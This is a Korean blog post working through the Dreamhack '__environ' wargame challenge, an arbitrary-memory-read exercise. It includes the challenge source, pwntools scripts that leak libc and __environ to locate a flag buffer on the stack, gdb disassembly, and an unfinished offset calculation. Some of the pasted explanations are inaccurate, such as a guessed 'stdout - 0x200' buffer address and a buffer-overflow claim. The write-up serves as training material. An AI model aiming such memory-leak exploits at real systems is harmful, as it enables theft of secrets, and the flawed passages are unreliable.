Dreamhack/Dreamhack Wargame (Challenge)

[106] IT 비전공자 [dreamhack]__environ문제 풀기

imaginefuture-1 2024. 12. 24. 08:45

__environ 전역변수!

 

__environ은 C와 Unix 계열 운영 체제에서 **환경 변수(Environment Variables)**에 접근하기 위해 사용되는 전역 변수입니다. 이는 환경 변수를 프로세스의 메모리에서 접근할 수 있는 구조를 제공합니다.


__environ의 정의 및 역할

  • 정의:
    • __environ은 환경 변수 배열을 가리키는 전역 포인터입니다.
    • 이는 환경 변수 이름과 값을 문자열 포인터 배열 형태로 저장합니다.
  • 형식:
  • extern char **__environ;
  • 역할:
    • 각 프로세스는 자신의 환경 변수를 가지고 있으며, 이는 메모리에 저장됩니다.
    • 환경 변수는 KEY=VALUE 형식의 문자열로 저장되며, __environ은 이를 가리킵니다.

__environ와 environ의 차이점

  • __environ:
    • GNU C 라이브러리에서 사용되는 내부 전역 변수 이름.
    • 보통 프로그래머가 직접 사용하는 경우는 드뭅니다.
  • environ:
    • 표준 C에서 환경 변수 배열을 가리키는 전역 변수.
    • 일반적으로 사용자 코드에서 environ을 사용합니다.
  • 실제로 대부분의 Unix 계열 시스템에서는 __environ과 environ이 동일한 값을 가리킵니다.

구조 및 동작

1. 환경 변수 배열

  • __environ은 환경 변수의 배열을 가리킵니다.
  • 배열은 char * 타입의 포인터로, 각 요소는 KEY=VALUE 형식의 문자열입니다.

2. 환경 변수 접근

  • __environ을 통해 환경 변수를 직접 읽거나 수정할 수 있습니다.

예시 코드

#include <stdio.h>

extern char **__environ;

int main() {
    char **env = __environ;

    // 환경 변수 출력
    while (*env) {
        printf("%s\n", *env);
        env++;
    }

    return 0;
}

메모리 구조

환경 변수는 프로세스의 메모리 공간에 저장됩니다:

  1. 스택(Stack):
    • 로컬 변수 및 함수 호출 관련 데이터 저장.
  2. 힙(Heap):
    • 동적 메모리 할당 저장.
  3. 환경 변수:
    • 환경 변수는 메모리 상의 특별한 위치에 저장됩니다.
    • __environ은 이 메모리 위치를 가리킵니다.

보안 취약점

1. 환경 변수 누출

  • 공격자가 __environ 또는 환경 변수의 메모리 주소를 직접 읽을 수 있다면, 환경 변수에 저장된 민감한 정보를 탈취할 수 있습니다.
  • 예: PATH, LD_PRELOAD, API 키, 암호 등.

2. 환경 변수 조작

  • 환경 변수를 조작하여 프로그램의 동작을 변경하거나, 취약점을 악용할 수 있습니다.
  • 예: LD_PRELOAD를 통해 악의적인 라이브러리를 로드.

보안 강화 방안

1. 민감한 데이터 관리

  • 환경 변수에 암호나 API 키와 같은 민감한 정보를 저장하지 않도록 설계.

2. 환경 변수 초기화

  • 실행 시 불필요한 환경 변수를 제거하거나 초기화:
    clearenv();  // 모든 환경 변수 제거
    

3. 실행 권한 제한

  • 시스템에서 실행 파일의 권한을 제한하여 환경 변수 조작을 방지.

결론

__environ은 프로세스의 환경 변수 배열을 가리키는 중요한 전역 변수입니다. 이를 통해 환경 변수에 접근하거나 조작할 수 있지만, 잘못된 사용으로 인해 보안 문제가 발생할 수 있으므로 신중히 다뤄야 합니다. 😊

 

이 프로그램은 버퍼 오버플로우메모리 주소 직접 접근과 같은 보안 취약점을 포함하고 있습니다. 특히, 메모리 내 플래그 파일의 내용을 우회적으로 접근할 수 있는 구조를 가지고 있습니다.


소스코드다

 

// Name: environ.c
// Compile: gcc -o environ environ.c

#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>

void sig_handle() {
  exit(0);
}
void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);

  signal(SIGALRM, sig_handle);
  alarm(5);
}

void read_file() {
  char file_buf[4096];

  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
int main() {
  char buf[1024];
  long addr;
  int idx;

  init();
  read_file();

  printf("stdout: %p\n", stdout);

  while (1) {
    printf("> ");
    scanf("%d", &idx);
    switch (idx) {
      case 1:
        printf("Addr: ");
        scanf("%ld", &addr);
        printf("%s", (char *)addr);
        break;
      default:
        break;
    }
  }
  return 0;
}

 

분석

1. 초기화 함수 (init)

void init() {
  setvbuf(stdin, 0, 2, 0);
  setvbuf(stdout, 0, 2, 0);
  signal(SIGALRM, sig_handle);
  alarm(5);
}
  • 설명:
    • 버퍼링 비활성화:
      • stdin과 stdout의 버퍼링을 비활성화하여, 실시간으로 데이터 입출력이 이루어짐.
    • 시간 제한 설정:
      • alarm(5)로 프로그램 실행 시간을 5초로 제한.
      • 제한 시간이 초과되면 sig_handle 함수가 호출되어 프로그램 종료.

2. 플래그 읽기 함수 (read_file)

void read_file() {
  char file_buf[4096];
  int fd = open("./flag", O_RDONLY);
  read(fd, file_buf, sizeof(file_buf) - 1);
  close(fd);
}
  • 설명:
    • 플래그 파일 읽기:
      • file_buf 버퍼에 ./flag 파일의 내용을 읽음.
      • 그러나 이 함수는 내용을 출력하지 않으므로, 사용자에게 직접적으로 노출되지 않음.
    • 취약점:
      • 플래그 파일의 내용이 file_buf에 저장되지만, 메모리에 존재하므로 간접적인 접근이 가능.

3. 사용자 입력 처리 (main)

scanf("%d", &idx);
switch (idx) {
  case 1:
    printf("Addr: ");
    scanf("%ld", &addr);
    printf("%s", (char *)addr);
    break;
  default:
    break;
}
  • 설명:
    • 사용자 입력으로 idx를 받아 처리:
      • idx == 1: 사용자에게 메모리 주소를 입력받아 해당 주소의 문자열을 출력.
      • 취약점:
        • 임의의 메모리 주소 접근 가능.
        • 플래그 내용이 저장된 메모리 주소를 제공하면 플래그를 출력할 수 있음.

4. 프로그램 흐름

  1. 초기화:
    • 입출력 버퍼링 비활성화 및 5초 제한 설정.
  2. 플래그 읽기:
    • file_buf에 플래그 내용을 메모리로 로드.
  3. 사용자 입력:
    • 사용자 입력에 따라 메모리 주소의 문자열 데이터를 출력.

취약점 분석

1. 메모리 주소 직접 접근

  • 취약점:
    • 사용자 입력으로 받은 주소(addr)를 강제로 캐스팅하여 메모리 내용을 출력:
      printf("%s", (char *)addr);
      
    • 보호 메커니즘 없이 메모리 접근을 허용하므로, file_buf의 주소를 제공하면 플래그 내용 출력 가능.

2. 플래그 노출

  • 취약점:
    • read_file 함수에서 플래그 내용을 file_buf에 로드.
    • 해당 메모리 주소를 직접 참조하여 플래그를 우회적으로 읽을 수 있음.

3. 메모리 보호 부족

  • 취약점:
    • ASLR(Address Space Layout Randomization)이나 NX(No Execute) 등의 보호 메커니즘이 없을 경우, 익스플로잇이 쉬워짐.

익스플로잇 전략

목표

  • file_buf 버퍼의 메모리 주소를 찾고, 해당 주소를 통해 플래그 내용을 출력.

1. 프로그램 실행 및 메모리 주소 확인

  • 프로그램 실행 후 stdout의 주소를 확인:
    stdout: 0x7ffff7dd2600
    
  • stdout 주소를 기반으로 메모리 구조를 탐색하여 file_buf의 주소를 유추.

2. 익스플로잇 스크립트

  • 플래그 파일 내용을 읽기 위해 정확한 메모리 주소를 입력:
    from pwn import *
    
    # 원격 서버 연결 (로컬 실행 시 process 사용 가능)
    p = process('./environ')  # 또는 remote('target_host', 1234)
    
    # stdout 주소 확인
    p.recvuntil(b'stdout: ')
    stdout_addr = int(p.recvline().strip(), 16)
    print(f"stdout address: {hex(stdout_addr)}")
    
    # 추정 file_buf 주소 (stdout 근처)
    file_buf_addr = stdout_addr - 0x200  # 추정 오프셋
    print(f"file_buf address: {hex(file_buf_addr)}")
    
    # 메모리 읽기 요청
    p.sendline(b'1')  # 메뉴 선택
    p.recvuntil(b'Addr: ')
    p.sendline(str(file_buf_addr).encode())
    print(p.recvline())  # 플래그 출력
    

보안 강화 방안

1. 메모리 접근 제한

  • 임의 주소 접근을 방지하기 위해 사용자 입력 주소를 검증:
    if (addr < SOME_SAFE_MIN_ADDR || addr > SOME_SAFE_MAX_ADDR) {
        printf("Invalid address!\n");
        break;
    }
    

2. 플래그 메모리 보호

  • 플래그 데이터를 메모리에서 완전히 제거:
    memset(file_buf, 0, sizeof(file_buf));
    

3. 출력 제한

  • 민감한 데이터가 포함된 메모리 주소를 출력하지 않음.

4. 보호 메커니즘 활성화

  • 컴파일 시 보안 옵션 사용:
    gcc -fstack-protector -z noexecstack -pie -o environ environ.c
    

결론

이 프로그램은 임의 메모리 접근 취약점으로 인해 플래그 내용을 노출할 수 있습니다. 플래그 데이터를 메모리에 노출하지 않도록 보호 메커니즘을 강화해야 하며, 사용자 입력을 검증해 이러한 취약점을 방지할 수 있습니다. 😊

 

 


 

 

 

걸려있는 보호기법 겁나 빡빡한데요? ㅋㅋㅋ

 

 

주어진 바이너리(environ)의 보안 상태를 분석하고, 현재 상태에서 익스플로잇 가능성과 보호 메커니즘을 평가합니다.


보안 상태 분석

1. RELRO (Relocation Read-Only)

  • 상태: Full RELRO
    • GOT(Global Offset Table)이 완전히 읽기 전용으로 설정됨.
    • GOT Overwrite 공격 불가.

2. STACK CANARY

  • 상태: Canary found
    • 스택에 **스택 카나리(Stack Canary)**가 삽입되어 스택 오버플로우 탐지가 가능.
    • 스택 오버플로우를 통한 리턴 주소 덮어쓰기 어려움.

3. NX (No eXecute)

  • 상태: NX enabled
    • 데이터 영역(스택, 힙)에서 코드 실행이 금지.
    • 셸코드 삽입 공격 불가.

4. PIE (Position Independent Executable)

  • 상태: PIE enabled
    • ASLR(Address Space Layout Randomization)이 활성화되어 실행 시점마다 바이너리의 코드 섹션 주소가 랜덤화됨.
    • 정적 주소 기반 공격 어려움.

5. RPATH / RUNPATH

  • 상태: No RPATH, No RUNPATH
    • 동적 라이브러리 경로 설정 관련 보안 문제 없음.

6. Symbols

  • 상태: 50 Symbols
    • 디버깅 심볼 포함 여부는 익스플로잇 작성에 유리할 수 있음.

7. FORTIFY

  • 상태: No
    • FORTIFY_SOURCE가 활성화되지 않아 경계 검사 기능이 비활성화.
    • 경계 검사 없이 실행 가능.

8. Fortified / Fortifiable

  • 상태: 0 / 2
    • 보호 가능했던 2개의 함수가 실제로 보호되지 않음.

익스플로잇 가능성 평가

  1. 스택 오버플로우:
    • 불가능: 스택 카나리가 활성화되어 스택 오버플로우 탐지가 가능.
  2. 셸코드 삽입:
    • 불가능: NX가 활성화되어 스택, 힙에서 실행 권한 없음.
  3. GOT Overwrite:
    • 불가능: Full RELRO로 인해 GOT가 읽기 전용.
  4. 환경 변수 접근 및 조작:
    • 가능성: __environ 또는 환경 변수를 직접 접근하여 메모리 주소를 유출하거나 조작 가능.
  5. 메모리 주소 유출:
    • PIE 활성화로 인해 주소 랜덤화가 적용되었으나, 프로그램이 메모리 주소를 출력(stdout: %p)하므로 PIE를 우회할 수 있는 정보 유출 가능.

익스플로잇 설계

목표

  • 프로그램에서 유출된 메모리 주소(stdout: %p)를 활용하여 환경 변수(__environ) 또는 플래그 내용을 읽음.

1. 메모리 주소 유출

  • 프로그램 실행 시 stdout의 주소를 출력:
    stdout: 0x7ffff7dd2600
    
  • stdout 주소를 통해 환경 변수나 스택 상의 데이터를 역참조.

2. 환경 변수 접근

  • 환경 변수(__environ)는 메모리에서 전역적으로 접근 가능.
  • stdout과 __environ은 libc 영역에 함께 로드되므로, 적절한 오프셋을 계산하여 접근.

3. 익스플로잇 스크립트

Python 스크립트:

from pwn import *

# 바이너리 실행
p = process('./environ')  # 또는 remote('host', port)

# stdout 주소 유출
p.recvuntil(b'stdout: ')
stdout_addr = int(p.recvline().strip(), 16)
print(f"[+] stdout address: {hex(stdout_addr)}")

# 추정 __environ 주소 (stdout과의 오프셋 계산 필요)
libc_stdout_offset = 0x3c5620  # 예: libc에서 stdout 오프셋
libc_environ_offset = 0x3c6f38  # 예: libc에서 __environ 오프셋
libc_base = stdout_addr - libc_stdout_offset
environ_addr = libc_base + libc_environ_offset
print(f"[+] __environ address: {hex(environ_addr)}")

# 메모리 읽기
p.sendline(b'1')  # 메뉴 선택
p.recvuntil(b'Addr: ')
p.sendline(str(environ_addr).encode())
env_value = p.recvline()
print(f"[+] __environ value: {env_value}")

보안 개선 방안

  1. 메모리 주소 출력 제거:
    • printf("stdout: %p\n", stdout);와 같은 메모리 주소 출력 제거.
  2. 주소 검증 추가:
    • 임의 메모리 접근 요청(scanf("%ld", &addr))에 대해 주소 범위를 검증:
      if (addr < SAFE_MIN || addr > SAFE_MAX) {
          printf("Invalid address!\n");
          break;
      }
      
  3. 환경 변수 제거:
    • 프로그램 실행 시 민감한 환경 변수 제거:
      clearenv();
      
  4. 디버깅 심볼 제거:
    • -s 옵션으로 디버깅 심볼 제거하여 주소 계산을 어렵게 만듦:
      gcc -o environ environ.c -s
      
  5. ASLR 강화:
    • 시스템에서 ASLR(Address Space Layout Randomization) 활성화:
      echo 2 > /proc/sys/kernel/randomize_va_space
      

결론

이 바이너리는 환경 변수 접근 및 메모리 주소 유출 취약점이 있습니다. 이를 악용하면 플래그를 읽거나 민감한 환경 변수를 탈취할 수 있습니다. 보안을 강화하려면 메모리 주소 유출을 방지하고, 주소 검증 및 환경 변수 초기화를 수행해야 합니다. 😊

 

 


 

 

우리가 알아야할 것은

/etc/passwd 파일의 내용이 저장된 스택 버퍼의 주소를 찾아야한다

 

순서는 이렇다

 

1. stdot lib 포인터를 통해 베이스 주소 계산 

libc_base = stdout - stdout_symbols

 

2. 1번을 통해__envrion 포인터의 주소 알아내기

libc_environ = libc_base + __environ_symbols

 

3. read_file()함수에서 flag를 열고 읽기때문에 이 스택 버퍼 주소와 __envrion 변수가 가르키는

스택 주소의 거리 간격을 구해준다 

file_content = __environ - (__environ - file_content)

 

 

4. 그 거리 간격을 __environ에서 뺀 주소에 있는 값을 출력하면 "/etc/passwd" 파일 내용을 읽을 수 있습니다.~~~

 


 

아씨 아침에 ㅋㅋㅋvmware 복제한다규 시간이없다

나중에 수업 끝나고 풀러오겠숩니다~

 

 

from pwn import *

p = process("./environ")
elf = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p.recvuntil(": ")

stdout = int(p.recvuntil("\n"),16)
libc_base = stdout - elf.symbols['_IO_2_1_stdout_']
libc_environ = libc_base + elf.symbols['__environ']

print(hex(libc_base))
print(hex(libc_environ))

p.interactive()

 

 

(gdb) disas main
Dump of assembler code for function main:
   0x0000000000001366 <+0>:	endbr64
   0x000000000000136a <+4>:	push   %rbp
   0x000000000000136b <+5>:	mov    %rsp,%rbp
   0x000000000000136e <+8>:	sub    $0x420,%rsp
   0x0000000000001375 <+15>:	mov    %fs:0x28,%rax
   0x000000000000137e <+24>:	mov    %rax,-0x8(%rbp)
   0x0000000000001382 <+28>:	xor    %eax,%eax
   0x0000000000001384 <+30>:	mov    $0x0,%eax
   0x0000000000001389 <+35>:	call   0x127b <init>
   0x000000000000138e <+40>:	mov    $0x0,%eax
   0x0000000000001393 <+45>:	call   0x12e0 <read_file>
   0x0000000000001398 <+50>:	mov    0x2c71(%rip),%rax        # 0x4010 <stdout@GLIBC_2.2.5>
   0x000000000000139f <+57>:	mov    %rax,%rsi
   0x00000000000013a2 <+60>:	lea    0xc62(%rip),%rax        # 0x200b
   0x00000000000013a9 <+67>:	mov    %rax,%rdi
   0x00000000000013ac <+70>:	mov    $0x0,%eax
   0x00000000000013b1 <+75>:	call   0x10f0 <printf@plt>
   0x00000000000013b6 <+80>:	lea    0xc5a(%rip),%rax        # 0x2017
   0x00000000000013bd <+87>:	mov    %rax,%rdi
   0x00000000000013c0 <+90>:	mov    $0x0,%eax
   0x00000000000013c5 <+95>:	call   0x10f0 <printf@plt>
   0x00000000000013ca <+100>:	lea    -0x41c(%rbp),%rax
   0x00000000000013d1 <+107>:	mov    %rax,%rsi
   0x00000000000013d4 <+110>:	lea    0xc3f(%rip),%rax        # 0x201a
   0x00000000000013db <+117>:	mov    %rax,%rdi
   0x00000000000013de <+120>:	mov    $0x0,%eax
   0x00000000000013e3 <+125>:	call   0x1160 <__isoc99_scanf@plt>
   0x00000000000013e8 <+130>:	mov    -0x41c(%rbp),%eax
   0x00000000000013ee <+136>:	cmp    $0x1,%eax
   0x00000000000013f1 <+139>:	jne    0x1445 <main+223>
   0x00000000000013f3 <+141>:	lea    0xc23(%rip),%rax        # 0x201d
   0x00000000000013fa <+148>:	mov    %rax,%rdi
   0x00000000000013fd <+151>:	mov    $0x0,%eax
   0x0000000000001402 <+156>:	call   0x10f0 <printf@plt>
--Type <RET> for more, q to quit, c to continue without paging--ret
   0x0000000000001407 <+161>:	lea    -0x418(%rbp),%rax
   0x000000000000140e <+168>:	mov    %rax,%rsi
   0x0000000000001411 <+171>:	lea    0xc0c(%rip),%rax        # 0x2024
   0x0000000000001418 <+178>:	mov    %rax,%rdi
   0x000000000000141b <+181>:	mov    $0x0,%eax
   0x0000000000001420 <+186>:	call   0x1160 <__isoc99_scanf@plt>
   0x0000000000001425 <+191>:	mov    -0x418(%rbp),%rax
   0x000000000000142c <+198>:	mov    %rax,%rsi
   0x000000000000142f <+201>:	lea    0xbf2(%rip),%rax        # 0x2028
   0x0000000000001436 <+208>:	mov    %rax,%rdi
   0x0000000000001439 <+211>:	mov    $0x0,%eax
   0x000000000000143e <+216>:	call   0x10f0 <printf@plt>
   0x0000000000001443 <+221>:	jmp    0x1446 <main+224>
   0x0000000000001445 <+223>:	nop
   0x0000000000001446 <+224>:	jmp    0x13b6 <main+80>
End of assembler dump.
(gdb) disas read_file
Dump of assembler code for function read_file:
   0x00000000000012e0 <+0>:	endbr64
   0x00000000000012e4 <+4>:	push   %rbp
   0x00000000000012e5 <+5>:	mov    %rsp,%rbp
   0x00000000000012e8 <+8>:	sub    $0x1000,%rsp
   0x00000000000012ef <+15>:	orq    $0x0,(%rsp)
   0x00000000000012f4 <+20>:	sub    $0x20,%rsp
   0x00000000000012f8 <+24>:	mov    %fs:0x28,%rax
   0x0000000000001301 <+33>:	mov    %rax,-0x8(%rbp)
   0x0000000000001305 <+37>:	xor    %eax,%eax
   0x0000000000001307 <+39>:	mov    $0x0,%esi
   0x000000000000130c <+44>:	lea    0xcf1(%rip),%rax        # 0x2004
   0x0000000000001313 <+51>:	mov    %rax,%rdi
   0x0000000000001316 <+54>:	mov    $0x0,%eax
   0x000000000000131b <+59>:	call   0x1150 <open@plt>
   0x0000000000001320 <+64>:	mov    %eax,-0x1014(%rbp)
   0x0000000000001326 <+70>:	lea    -0x1010(%rbp),%rcx
   0x000000000000132d <+77>:	mov    -0x1014(%rbp),%eax
   0x0000000000001333 <+83>:	mov    $0xfff,%edx
   0x0000000000001338 <+88>:	mov    %rcx,%rsi
   0x000000000000133b <+91>:	mov    %eax,%edi
   0x000000000000133d <+93>:	call   0x1120 <read@plt>
   0x0000000000001342 <+98>:	mov    -0x1014(%rbp),%eax
   0x0000000000001348 <+104>:	mov    %eax,%edi
   0x000000000000134a <+106>:	call   0x1110 <close@plt>
   0x000000000000134f <+111>:	nop
   0x0000000000001350 <+112>:	mov    -0x8(%rbp),%rax
   0x0000000000001354 <+116>:	sub    %fs:0x28,%rax
   0x000000000000135d <+125>:	je     0x1364 <read_file+132>
   0x000000000000135f <+127>:	call   0x10e0 <__stack_chk_fail@plt>
   0x0000000000001364 <+132>:	leave
   0x0000000000001365 <+133>:	ret

 

 

 

0x7fffffffde78-0x7fffffffc900
5496
hex(5496)
'0x1578'

 

 

?

 

어?

 

0x1538이 나와야하는데??

 

???

 

다시처음부터 해보자

 

 __environ 변수의 offset은 0x221200